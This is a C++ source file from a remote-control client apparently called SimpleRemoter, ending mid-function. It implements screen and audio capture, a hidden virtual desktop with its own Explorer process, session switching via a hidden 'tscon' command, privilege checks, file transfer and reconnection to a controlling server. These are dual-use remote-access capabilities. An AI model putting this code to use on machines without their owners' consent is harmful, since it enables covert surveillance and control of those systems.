Files
SimpleRemoter/client/ScreenManager.cpp
2026-04-19 22:55:21 +02:00

2628 lines
104 KiB
C++
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// ScreenManager.cpp: implementation of the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ScreenManager.h"
#include "Common.h"
#include <IOSTREAM>
#if _MSC_VER <= 1200
#include <Winable.h>
#else
#include <WinUser.h>
#endif
#include <time.h>
#include "ScreenSpy.h"
#include "ScreenCapturerDXGI.h"
#include <Shlwapi.h>
#include <shlobj.h>
#include "common/file_upload.h"
#include <thread>
#include "ClientDll.h"
#include <common/iniFile.h>
#include "KernelManager.h"
#include <wtsapi32.h>
#include <vector>
#include <algorithm>
// WASAPI 音频捕获
#include <mmdeviceapi.h>
#include <audioclient.h>
#include <functiondiscoverykeys_devpkey.h>
// KSDATAFORMAT_SUBTYPE_IEEE_FLOAT GUID (避免依赖 ksmedia.h)
static const GUID KSDATAFORMAT_SUBTYPE_IEEE_FLOAT_LOCAL =
{ 0x00000003, 0x0000, 0x0010, { 0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 } };
// 检查 WAVEFORMATEXTENSIBLE 是否为浮点格式
static BOOL IsFloatFormat(const WAVEFORMATEX* pWaveFmt)
{
if (!pWaveFmt) return FALSE;
if (pWaveFmt->wFormatTag == WAVE_FORMAT_IEEE_FLOAT) {
return TRUE;
}
if (pWaveFmt->wFormatTag == WAVE_FORMAT_EXTENSIBLE &&
pWaveFmt->cbSize >= sizeof(WAVEFORMATEXTENSIBLE) - sizeof(WAVEFORMATEX)) {
const WAVEFORMATEXTENSIBLE* pWaveFmtEx = (const WAVEFORMATEXTENSIBLE*)pWaveFmt;
return IsEqualGUID(pWaveFmtEx->SubFormat, KSDATAFORMAT_SUBTYPE_IEEE_FLOAT_LOCAL);
}
return FALSE;
}
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "wtsapi32.lib")
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "FileUpload_Libx64d.lib")
#else
#pragma comment(lib, "FileUpload_Libx64.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "FileUpload_Libd.lib")
#else
#pragma comment(lib, "FileUpload_Lib.lib")
#endif
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#define WM_MOUSEWHEEL 0x020A
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
bool IsWindows8orHigher()
{
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
if (!hMod) return false;
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
if (!rtlGetVersion) return false;
RTL_OSVERSIONINFOW rovi = { 0 };
rovi.dwOSVersionInfoSize = sizeof(rovi);
if (rtlGetVersion(&rovi) == 0) {
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
}
return false;
}
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL priv):CManager(ClientObject)
{
#ifndef PLUGIN
extern ClientApp g_MyApp;
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
#endif
m_isGDI = TRUE;
m_virtual = FALSE;
m_bIsWorking = TRUE;
m_bIsBlockInput = FALSE;
g_hDesk = nullptr;
m_DesktopID = GetBotId();
m_ScreenSpyObject = nullptr;
m_ptrUser = (INT_PTR)user;
m_point = {};
m_lastPoint = {};
m_lmouseDown = FALSE;
m_hResMoveWindow = nullptr;
m_resMoveType = 0;
m_rmouseDown = FALSE;
m_rclickPoint = {};
m_rclickWnd = nullptr;
iniFile cfg(CLIENT_PATH);
int m_nMaxFPS = cfg.GetInt("settings", "ScreenMaxFPS", 20);
m_nMaxFPS = max(m_nMaxFPS, 1);
int threadNum = cfg.GetInt("settings", "ScreenCompressThread", 0);
m_ClientObject->SetMultiThreadCompress(threadNum);
// 启用多显示器支持时,需要固定传输质量
BYTE algo = ALGORITHM_DIFF;
BOOL all = FALSE;
if (!(user == NULL || ((int)user) == 1)) {
UserParam* param = (UserParam*)user;
if (param) {
algo = param->length > 1 ? param->buffer[1] : algo;
all = param->length > 2 ? param->buffer[2] : all;
}
}
BOOL fixedQuality = all || algo == ALGORITHM_H264;
m_ScreenSettings.MaxFPS = m_nMaxFPS;
m_ScreenSettings.CompressThread = threadNum;
m_ScreenSettings.ScreenStrategy = cfg.GetInt("settings", "ScreenStrategy", 0);
m_ScreenSettings.ScreenWidth = cfg.GetInt("settings", "ScreenWidth", 0);
m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0);
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", fixedQuality ? QUALITY_GOOD : QUALITY_ADAPTIVE);
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
LoadQualityProfiles(); // 加载质量配置
// 初始化音频事件和线程(根据配置决定初始状态)
m_bAudioThreadRunning = TRUE;
m_hAudioEvent = CreateEvent(NULL, FALSE, m_ScreenSettings.AudioEnabled, NULL);
m_hAudioThread = __CreateThread(NULL, 0, AudioThreadProc, this, 0, NULL);
m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
}
bool CScreenManager::SwitchScreen()
{
if (m_ScreenSpyObject == NULL || m_ScreenSpyObject->GetScreenCount() <= 1 ||
!m_ScreenSpyObject->IsMultiScreenEnabled())
return false;
return RestartScreen();
}
bool CScreenManager::RestartScreen()
{
if (m_ScreenSpyObject == NULL || m_bIsWorking == FALSE)
return false;
// 1. 停止工作线程
m_bIsWorking = FALSE;
DWORD s = WaitForSingleObject(m_hWorkThread, 1000);
if (s == WAIT_TIMEOUT) {
TerminateThread(m_hWorkThread, 0x20260215);
}
// 2. 删除旧的截屏对象
SAFE_DELETE(m_ScreenSpyObject);
// 3. 重新启动工作线程InitScreenSpy 会创建新对象)
m_bIsWorking = TRUE;
m_SendFirst = FALSE;
m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
return true;
}
std::wstring ConvertToWString(const std::string& multiByteStr)
{
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
if (len == 0) return L""; // 转换失败
std::wstring wideStr(len, L'\0');
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
return wideStr;
}
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName, TCHAR* pszCommandLine = NULL)
{
bool bReturn = false;
try {
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
return false;
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szCommandLine[MAX_PATH * 4] = { 0 };
strcpy_s(szDirectoryName, sizeof(szDirectoryName), pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str()))
return false;
PathRemoveFileSpec(szDirectoryName);
// 构建命令行:程序路径 + 参数
if (pszCommandLine && strlen(pszCommandLine) > 0) {
sprintf_s(szCommandLine, sizeof(szCommandLine), "\"%s\" %s", pszApplicationFilePath, pszCommandLine);
} else {
sprintf_s(szCommandLine, sizeof(szCommandLine), "\"%s\"", pszApplicationFilePath);
}
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(sInfo);
sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop
SetLastError(0);
BOOL bCreateProcessReturn = CreateProcess(NULL, // lpApplicationName = NULL
szCommandLine, // lpCommandLine 包含完整命令
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS,
NULL,
szDirectoryName,
&sInfo,
&pInfo);
DWORD err = GetLastError();
SAFE_CLOSE_HANDLE(pInfo.hProcess);
SAFE_CLOSE_HANDLE(pInfo.hThread);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, err, 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) {
Mprintf("CreateProcess [%s] %s: %s\n", pszApplicationFilePath, err ? "failed" : "succeed", pszError);
LocalFree(pszError); // 释放内存
}
if (bCreateProcessReturn)
bReturn = true;
} catch (...) {
bReturn = false;
}
return bReturn;
}
// 检查指定桌面hDesk中是否存在目标进程targetExeName
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName)
{
// 切换到目标桌面
if (!SetThreadDesktop(hDesk)) {
return FALSE;
}
// 枚举目标桌面的所有窗口
BOOL bFound = FALSE;
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
// 获取进程名
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
if (hProcess)
{
char exePath[MAX_PATH];
DWORD size = MAX_PATH;
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
if (_stricmp(exePath, pData->first) == 0) {
*(pData->second) = TRUE;
return FALSE; // 终止枚举
}
}
SAFE_CLOSE_HANDLE(hProcess);
}
return TRUE; // 继续枚举
}, reinterpret_cast<LPARAM>(&data));
return bFound;
}
// 关闭指定桌面上的所有窗口和进程(用于重置虚拟桌面)
void CloseAllWindowsInDesktop(HDESK hDesk)
{
// 收集所有需要终止的进程IDEnumDesktopWindows 不需要切换线程桌面)
std::vector<DWORD> processIds;
BOOL enumResult = EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
auto* pIds = (std::vector<DWORD>*)lParam;
DWORD pid = 0;
GetWindowThreadProcessId(hWnd, &pid);
if (pid != 0 && pid != GetCurrentProcessId()) {
// 避免重复
if (std::find(pIds->begin(), pIds->end(), pid) == pIds->end()) {
pIds->push_back(pid);
}
}
char title[256] = {};
GetWindowTextA(hWnd, title, sizeof(title));
Mprintf("枚举窗口: %s [%p] pid=%d\n", title, hWnd, pid);
// 先尝试正常关闭
PostMessageA(hWnd, WM_CLOSE, 0, 0);
return TRUE;
}, (LPARAM)&processIds);
if (!enumResult) {
Mprintf("EnumDesktopWindows failed: %d\n", GetLastError());
}
// 等待窗口关闭
Sleep(300);
// 强制终止所有相关进程
for (DWORD pid : processIds) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
if (hProcess) {
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
Mprintf("终止进程: %d\n", pid);
}
}
Mprintf("CloseAllWindowsInDesktop: 已处理 %d 个进程\n", (int)processIds.size());
}
// 检查当前进程是否以管理员身份运行
static BOOL IsRunningAsAdmin()
{
BOOL isAdmin = FALSE;
PSID adminGroup = NULL;
SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&ntAuthority, 2,
SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0, &adminGroup)) {
CheckTokenMembership(NULL, adminGroup, &isAdmin);
FreeSid(adminGroup);
}
return isAdmin;
}
// 恢复控制台会话(解决 RDP 断开后黑屏问题)
// 当用户通过 RDP 连接后断开,物理控制台可能处于 Disconnected 状态
// 此函数检测并将活跃的 RDP 会话切换回控制台
// 需要 SYSTEM 或管理员权限
static BOOL RestoreConsoleSession()
{
// 权限检查:需要 SYSTEM 或管理员权限
if (!IsRunningAsSystem() && !IsRunningAsAdmin()) {
Mprintf("[RestoreConsole] Insufficient privileges (need SYSTEM or Admin)\n");
return FALSE;
}
// 获取当前进程的会话ID
DWORD currentSessionId = 0;
ProcessIdToSessionId(GetCurrentProcessId(), &currentSessionId);
Mprintf("[RestoreConsole] Current process session: %d\n", currentSessionId);
PWTS_SESSION_INFO pSessionInfo = NULL;
DWORD dwCount = 0;
DWORD targetSessionId = 0;
BOOL foundTarget = FALSE;
BOOL currentSessionDisconnected = FALSE;
if (!WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pSessionInfo, &dwCount)) {
Mprintf("[RestoreConsole] WTSEnumerateSessions failed: %d\n", GetLastError());
return FALSE;
}
// 分析会话状态
for (DWORD i = 0; i < dwCount; i++) {
DWORD sid = pSessionInfo[i].SessionId;
WTS_CONNECTSTATE_CLASS state = pSessionInfo[i].State;
const char* name = pSessionInfo[i].pWinStationName;
Mprintf("[RestoreConsole] Session %d (%s): State=%d\n", sid, name, state);
// 如果当前进程在用户会话中非Session 0检查该会话是否断开
if (currentSessionId != 0 && sid == currentSessionId) {
if (state == WTSDisconnected) {
currentSessionDisconnected = TRUE;
targetSessionId = sid;
foundTarget = TRUE;
Mprintf("[RestoreConsole] Current session %d is disconnected\n", sid);
}
}
// 如果进程在Session 0SYSTEM服务查找断开的用户会话
else if (currentSessionId == 0 && state == WTSDisconnected && sid != 0 && sid < 65536) {
// 优先选择最小的会话ID通常是用户的主会话
if (!foundTarget || sid < targetSessionId) {
targetSessionId = sid;
foundTarget = TRUE;
Mprintf("[RestoreConsole] Found disconnected user session %d\n", sid);
}
}
}
WTSFreeMemory(pSessionInfo);
// 如果找到需要恢复的会话,执行 tscon 切换到控制台
if (foundTarget) {
char cmd[128];
sprintf(cmd, "tscon %d /dest:console", targetSessionId);
Mprintf("[RestoreConsole] Executing: %s\n", cmd);
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (CreateProcess(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, 5000);
SAFE_CLOSE_HANDLE(pi.hProcess);
SAFE_CLOSE_HANDLE(pi.hThread);
Mprintf("[RestoreConsole] Session %d restored to console\n", targetSessionId);
Sleep(200); // 等待桌面切换完成
return TRUE;
} else {
Mprintf("[RestoreConsole] CreateProcess failed: %d\n", GetLastError());
}
} else {
Mprintf("[RestoreConsole] No disconnected session to restore\n");
}
return FALSE;
}
void CScreenManager::InitScreenSpy()
{
int DXGI = USING_GDI;
BYTE algo = ALGORITHM_DIFF;
BYTE* user = (BYTE*)m_ptrUser;
BOOL all = FALSE;
if (!(user == NULL || ((int)user) == 1)) {
UserParam* param = (UserParam*)user;
if (param) {
DXGI = param->buffer[0];
algo = param->length > 1 ? param->buffer[1] : algo;
all = param->length > 2 ? param->buffer[2] : all;
}
m_pUserParam = param;
} else {
DXGI = (int)user;
}
// 如果已设置质量等级,使用对应的算法(优先于启动参数)
int level = m_ScreenSettings.QualityLevel;
if (level >= 0 && level < QUALITY_COUNT) {
algo = m_QualityProfiles[level].algorithm;
}
// 保存屏幕类型,服务端用于判断是否显示虚拟桌面相关菜单
m_ScreenSettings.ScreenType = DXGI;
Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level);
if (DXGI == USING_VIRTUAL) {
m_virtual = TRUE;
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
if (!hDesk) {
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
} else {
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
}
if (hDesk) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile)) {
// 使用 /separate 强制创建独立进程,否则 Explorer 会连接到已有的 Shell
if (LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str(), (TCHAR*)"/separate,C:\\")) {
// 等待 Explorer 初始化完成(最多等待 3 秒)
for (int i = 0; i < 30; i++) {
Sleep(100);
if (IsProcessRunningInDesktop(hDesk, szExplorerFile)) {
Mprintf("Explorer 已启动,等待了 %d ms\n", (i + 1) * 100);
break;
}
}
} else {
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
}
} else {
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
}
SetThreadDesktop(g_hDesk = hDesk);
}
} else {
HDESK hDesk = OpenActiveDesktop();
if (hDesk) {
SetThreadDesktop(g_hDesk = hDesk);
}
}
SAFE_DELETE(m_ScreenSpyObject);
if ((USING_DXGI == DXGI && IsWindows8orHigher())) {
m_isGDI = FALSE;
auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all);
if (s->IsInitSucceed()) {
m_ScreenSpyObject = s;
} else {
SAFE_DELETE(s);
m_isGDI = TRUE;
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all);
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
}
} else {
m_isGDI = TRUE;
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all);
}
}
BOOL IsRunningAsSystem()
{
HANDLE hToken;
PTOKEN_USER pTokenUser = NULL;
DWORD dwSize = 0;
BOOL isSystem = FALSE;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
return FALSE;
}
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
pTokenUser = (PTOKEN_USER)malloc(dwSize);
if (pTokenUser && GetTokenInformation(hToken, TokenUser, pTokenUser,
dwSize, &dwSize)) {
// 使用 WellKnownSid 创建 SYSTEM SID
BYTE systemSid[SECURITY_MAX_SID_SIZE];
DWORD sidSize = sizeof(systemSid);
if (CreateWellKnownSid(WinLocalSystemSid, NULL, systemSid, &sidSize)) {
isSystem = EqualSid(pTokenUser->User.Sid, systemSid);
if (isSystem) {
Mprintf("当前进程以 SYSTEM 身份运行。\n");
} else {
Mprintf("当前进程未以 SYSTEM 身份运行。\n");
}
}
}
free(pTokenUser);
CloseHandle(hToken);
return isSystem;
}
BOOL CScreenManager::OnReconnect()
{
if (!m_bIsWorking) {
return FALSE;
}
auto duration = GetTickCount64() - m_nReconnectTime;
if (duration <= 3000)
Sleep(3000 - duration);
m_nReconnectTime = GetTickCount64();
m_SendFirst = FALSE;
BOOL r = m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
Mprintf("CScreenManager OnReconnect '%s'\n", r ? "succeed" : "failed");
// 检查是否有未完成的文件传输V2 断点续传)
if (r) {
auto pendingTransfers = GetPendingTransfers();
for (uint64_t transferID : pendingTransfers) {
Mprintf("检测到未完成传输: transferID=%llu\n", transferID);
// 尝试恢复本地状态
if (LoadResumeState(transferID)) {
Mprintf("已恢复传输状态,发送续传请求...\n");
// 构建并发送 RESUME_REQ 包
std::vector<uint8_t> resumeReq = BuildResumeRequest(transferID, m_MyClientID);
if (!resumeReq.empty()) {
Send(resumeReq.data(), (UINT)resumeReq.size());
Mprintf("已发送续传请求: transferID=%llu, size=%zu\n", transferID, resumeReq.size());
}
}
}
}
return r;
}
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{
CScreenManager *This = (CScreenManager *)lParam;
This->InitScreenSpy();
This->SendBitMapInfo(); //发送bmp位图结构
// 等控制端对话框打开
This->WaitForDialogOpen();
clock_t last = clock();
#if USING_ZLIB
const int fps = 8;// 帧率
#else
const int fps = 8;// 帧率
#endif
const int sleep = 1000 / fps;// 间隔时间ms
int c1 = 0; // 连续耗时长的次数
int c2 = 0; // 连续耗时短的次数
float s0 = sleep; // 两帧之间隔ms
const int frames = fps; // 每秒调整屏幕发送速度
const float alpha = 1.03; // 控制fps的因子
clock_t last_check = clock();
timeBeginPeriod(1);
while (This->m_bIsWorking) {
WAIT_n(This->m_bIsWorking && !This->IsConnected(), 6, 50);
if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect();
if (!This->IsConnected()) continue;
if (!This->m_SendFirst && This->IsConnected()) {
This->m_SendFirst = TRUE;
This->SendBitMapInfo();
Sleep(50);
This->SendFirstScreen();
}
// 降低桌面检查频率避免频繁的DC重置导致闪屏
if (This->IsRunAsService() && !This->m_virtual) {
auto now = clock();
if (now - last_check > 500) {
last_check = now;
// 使用公共函数检查并切换桌面(无需写权限)
if (SwitchToDesktopIfChanged(This->g_hDesk, 0) && This->m_isGDI) {
// 桌面变化时重置屏幕捕获的DC
CScreenSpy* spy = (CScreenSpy*)(This->m_ScreenSpyObject);
if (spy) {
spy->ResetDesktopDC();
}
}
}
}
ULONG ulNextSendLength = 0;
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
if (szBuffer) {
s0 = max(s0, 1000./This->m_ScreenSettings.MaxFPS); // 最快每秒20帧
s0 = min(s0, 1000);
int span = s0-(clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
c2 = 0;
if (frames == ++c1) { // 连续一定次数耗时长
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
c1 = 0;
#if _DEBUG
if (1000./s0>1.0)
Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
} else if (span > 0) { // 发送数据耗时比s0短表示网络较好或数据包较小
c1 = 0;
if (frames == ++c2) { // 连续一定次数耗时短
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
c2 = 0;
#if _DEBUG
if (1000./s0<This->m_ScreenSettings.MaxFPS)
Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
}
last = clock();
// 发送待发送的自定义光标图像(在帧数据之前)
BYTE* cursorData = nullptr;
ULONG cursorSize = 0;
if (This->m_ScreenSpyObject->GetPendingCursorImage(&cursorData, &cursorSize)) {
This->m_ClientObject->Send2Server((char*)cursorData, cursorSize);
}
This->SendNextScreen(szBuffer, ulNextSendLength);
}
}
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
return 0;
}
VOID CScreenManager::SendBitMapInfo()
{
//这里得到bmp结构的大小
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings);
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, ulLength, MEM_COMMIT, PAGE_READWRITE);
if (szBuffer == NULL)
return;
szBuffer[0] = TOKEN_BITMAPINFO;
//这里将bmp位图结构发送出去
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER));
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t));
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t), &m_DlgID, sizeof(uint64_t));
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t), &m_ScreenSettings, sizeof(ScreenSettings));
m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0);
VirtualFree(szBuffer, 0, MEM_RELEASE);
}
CScreenManager::~CScreenManager()
{
Mprintf("ScreenManager 析构函数\n");
UninitFileUpload();
m_bIsWorking = FALSE;
m_bAudioThreadRunning = FALSE; // 停止音频线程
// 停止音频线程
if (m_hAudioEvent) {
SetEvent(m_hAudioEvent); // 唤醒线程使其退出
}
if (m_hAudioThread) {
WaitForSingleObject(m_hAudioThread, 2000);
SAFE_CLOSE_HANDLE(m_hAudioThread);
}
if (m_hAudioEvent) {
SAFE_CLOSE_HANDLE(m_hAudioEvent);
}
UninitWASAPI();
WaitForSingleObject(m_hWorkThread, INFINITE);
if (m_hWorkThread!=NULL) {
SAFE_CLOSE_HANDLE(m_hWorkThread);
}
delete m_ScreenSpyObject;
m_ScreenSpyObject = NULL;
SAFE_DELETE(m_pUserParam);
}
void RunFileReceiver(CScreenManager *mgr, const std::string &folder, const std::string& files)
{
auto start = time(0);
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn);
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess);
// 发送目录并准备接收文件
int len = 1 + folder.length() + files.length() + 1;
char* cmd = new char[len];
cmd[0] = COMMAND_GET_FILE;
memcpy(cmd + 1, folder.c_str(), folder.length());
cmd[1 + folder.length()] = 0;
memcpy(cmd + 1 + folder.length() + 1, files.data(), files.length());
cmd[1 + folder.length() + files.length()] = 0;
pClient->Send2Server(cmd, len);
SAFE_DELETE_ARRAY(cmd);
pClient->RunEventLoop(TRUE);
}
delete pClient;
Mprintf("Leave thread RunFileReceiver: %d. Cost: %d s\n", GetCurrentThreadId(), time(0)-start);
}
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size)
{
IOCPClient* pClient = (IOCPClient*)user;
if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) {
return false;
}
return true;
}
bool SendDataV2(void* user, FileChunkPacketV2* chunk, BYTE* data, int size)
{
IOCPClient* pClient = (IOCPClient*)user;
if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) {
return false;
}
return true;
}
void RecvData(void* ptr)
{
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
}
void delay_destroy(IOCPClient* pClient, int sec)
{
if (!pClient) return;
Sleep(sec * 1000);
delete pClient;
}
void FinishSend(void* user)
{
IOCPClient* pClient = (IOCPClient*)user;
std::thread(delay_destroy, pClient, 15).detach();
}
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (!m_bIsWorking) return;
switch(szBuffer[0]) {
case COMMAND_BYE: {
Mprintf("[CScreenManager] Received BYE: %s\n", ToPekingTimeAsString(0).c_str());
m_bIsWorking = FALSE;
m_ClientObject->StopRunning();
break;
}
case COMMAND_SWITCH_SCREEN: {
SwitchScreen();
break;
}
case CMD_FULL_SCREEN: {
int fullScreen = szBuffer[1];
iniFile cfg(CLIENT_PATH);
cfg.SetInt("settings", "FullScreen", fullScreen);
m_ScreenSettings.FullScreen = fullScreen;
break;
}
case CMD_REMOTE_CURSOR: {
int remoteCursor = szBuffer[1];
iniFile cfg(CLIENT_PATH);
cfg.SetInt("settings", "RemoteCursor", remoteCursor);
m_ScreenSettings.RemoteCursor = remoteCursor;
break;
}
case CMD_MULTITHREAD_COMPRESS: {
int threadNum = szBuffer[1];
m_ClientObject->SetMultiThreadCompress(threadNum);
iniFile cfg(CLIENT_PATH);
cfg.SetInt("settings", "ScreenCompressThread", threadNum);
m_ScreenSettings.CompressThread = threadNum;
break;
}
case CMD_SCREEN_SIZE: {
int maxWidth = 0, height = 0, strategy = szBuffer[1];
memcpy(&maxWidth, szBuffer + 2, 4);
memcpy(&height, szBuffer + 6, 4);
Mprintf("收到 CMD_SCREEN_SIZE: strategy=%d, maxWidth=%d, height=%d\n", strategy, maxWidth, height);
iniFile cfg(CLIENT_PATH);
// strategy=2 是自适应质量使用的临时策略,不覆盖用户的原始 ScreenStrategy
if (strategy == 2) {
if (maxWidth == 0) {
// maxWidth=0 表示"使用默认策略",读取用户原来的设置
strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
// ScreenStrategy 只能是 0 或 1如果是其他值则回退到 0
if (strategy != 0 && strategy != 1) {
strategy = 0;
cfg.SetInt("settings", "ScreenStrategy", 0); // 修复无效值
}
Mprintf("maxWidth=0, 回退到默认策略: strategy=%d\n", strategy);
}
// 保存自适应的 ScreenWidth下次启动时作为初始值
cfg.SetInt("settings", "ScreenWidth", maxWidth);
Mprintf("写入配置: ScreenWidth=%d (保留原 ScreenStrategy)\n", maxWidth);
} else {
// strategy=0 或 1 是用户手动设置,写入配置
cfg.SetInt("settings", "ScreenStrategy", strategy);
cfg.SetInt("settings", "ScreenWidth", 0); // 清除自定义 maxWidth
Mprintf("写入配置: ScreenStrategy=%d, ScreenWidth=0\n", strategy);
}
cfg.SetInt("settings", "ScreenHeight", height);
bool needRestart = false;
if (m_ScreenSpyObject && m_ScreenSpyObject->GetBIData()) {
int currentWidth = m_ScreenSpyObject->GetCurrentWidth();
int fullWidth = m_ScreenSpyObject->GetScreenWidth();
Mprintf("当前宽度: %d, 原始宽度: %d\n", currentWidth, fullWidth);
switch (strategy) {
case 0: // 1080p
{
// 当前分辨率与目标 1080p 限制不同时需要重启
int target1080Width = min(1920, fullWidth);
needRestart = (currentWidth != target1080Width);
